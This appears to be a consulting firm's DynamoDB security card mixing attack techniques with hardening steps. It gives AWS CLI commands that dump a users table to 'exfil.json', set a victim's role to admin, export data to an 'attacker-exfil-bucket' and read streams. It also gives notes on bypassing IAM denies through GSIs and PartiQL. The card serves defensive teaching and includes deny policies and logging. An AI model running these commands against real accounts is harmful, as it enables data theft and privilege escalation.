DynamoDB is a NoSQL database storing application data, session tokens, and configuration. Attackers exploit table policies, scan operations, and PartiQL queries to extract sensitive data.
DynamoDB is a key-value and document NoSQL database. Tables store items indexed by partition keys and optional sort keys. Global Secondary Indexes (GSIs) provide alternate query paths that may expose data through different access patterns.
Attack note: GSIs replicate table data with different key schemas - querying a GSI may bypass item-level access controls
PartiQL provides SQL-compatible query access to DynamoDB. DynamoDB Streams capture item-level changes in near-real-time, feeding Lambda triggers and replication pipelines. Both are powerful attack surfaces for data exfiltration.
Attack note: PartiQL SELECT * FROM table bypasses the need for Scan API calls and may evade scan-specific IAM denies
DynamoDB tables frequently contain sensitive application data. Attackers with read access can extract PII, session tokens, and credentials. Write access enables privilege escalation via modified user records.
aws dynamodb list-tablesaws dynamodb describe-table --table-name usersaws dynamodb list-global-tablesaws dynamodb list-backupsaws dynamodbstreams list-streamsKey insight: If IAM restricts access by leading key on the base table, the same data may be queryable through a GSI with different key schema.
aws dynamodb scan --table-name users --output json > exfil.jsonaws dynamodb execute-statement \
--statement "SELECT * FROM users WHERE role='admin'"aws dynamodb query --table-name users \
--index-name email-index \
--key-condition-expression 'email = :e' \
--expression-attribute-values '{":e":{"S":"admin@corp.com"}}'aws dynamodb update-item --table-name users \
--key '{"user_id":{"S":"victim"}}' \
--update-expression 'SET #r = :admin' \
--expression-attribute-names '{"#r":"role"}' \
--expression-attribute-values '{":admin":{"S":"admin"}}'aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:us-east-1:123456789012:table/users \
--s3-bucket attacker-exfil-bucketSHARD=$(aws dynamodbstreams describe-stream \
--stream-arn <stream-arn> \
--query 'StreamDescription.Shards[0].ShardId' --output text)
ITER=$(aws dynamodbstreams get-shard-iterator \
--stream-arn <stream-arn> --shard-id $SHARD \
--shard-iterator-type TRIM_HORIZON --query 'ShardIterator' --output text)
aws dynamodbstreams get-records --shard-iterator $ITER{
"Effect": "Allow",
"Action": "dynamodb:*",
"Resource": "*"
}Full DynamoDB access enables complete data exfiltration, table deletion, and stream hijacking
{
"Effect": "Allow",
"Action": ["dynamodb:GetItem", "dynamodb:Query"],
"Resource": "arn:aws:dynamodb:*:*:table/app-data",
"Condition": {
"ForAllValues:StringEquals": {
"dynamodb:LeadingKeys": ["${aws:userId}"]
}
}
}Limited to specific table with partition key scoped to the caller's identity
{
"Effect": "Allow",
"Action": [
"dynamodb:PartiQLSelect",
"dynamodb:PartiQLUpdate",
"dynamodb:PartiQLInsert"
],
"Resource": "*"
}PartiQL access to all tables - SELECT * FROM any_table bypasses scan restrictions
{
"Effect": "Deny",
"Action": [
"dynamodb:Scan",
"dynamodb:ExportTableToPointInTime",
"dynamodb:PartiQLSelect"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalTag/team": "data-engineering"
}
}
}Explicit deny on bulk read operations except for authorized data team
Log all DynamoDB data plane operations (Scan, Query, GetItem) to detect unauthorized access.
aws cloudtrail put-event-selectors \
--trail-name main-trail \
--advanced-event-selectors '[{"FieldSelectors":[
{"Field":"eventCategory","Equals":["Data"]},
{"Field":"resources.type","Equals":["AWS::DynamoDB::Table"]}
]}]'Use customer-managed KMS keys to control who can decrypt table data at rest.
aws dynamodb create-table --table-name secure-data \
--sse-specification Enabled=true,SSEType=KMS,KMSMasterKeyId=alias/dynamo-keyKeep DynamoDB traffic private via gateway endpoint - prevents data exfil over public internet.
aws ec2 create-vpc-endpoint \
--vpc-id vpc-xxx --service-name com.amazonaws.us-east-1.dynamodb \
--route-table-ids rtb-xxxUse IAM condition keys to restrict access to specific partition keys per user.
"Condition": {"ForAllValues:StringEquals": {
"dynamodb:LeadingKeys": ["${aws:userId}"]
}}Explicitly deny Scan and PartiQL SELECT to prevent bulk data exfiltration.
"Effect": "Deny",
"Action": ["dynamodb:Scan", "dynamodb:PartiQLSelect"],
"Resource": "arn:aws:dynamodb:*:*:table/sensitive-*"Point-in-time recovery protects against data loss. Deletion protection prevents table drops.
aws dynamodb update-table --table-name users \
--deletion-protection-enabled
aws dynamodb update-continuous-backups --table-name users \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=trueAWS DynamoDB Security Card • Toc Consulting
Always obtain proper authorization before testing
Toc Consulting: AWS Security & Cloud Architecture
Our team helps engineering teams secure and architect AWS the right way: assessment in week one, a prioritized action plan in week two.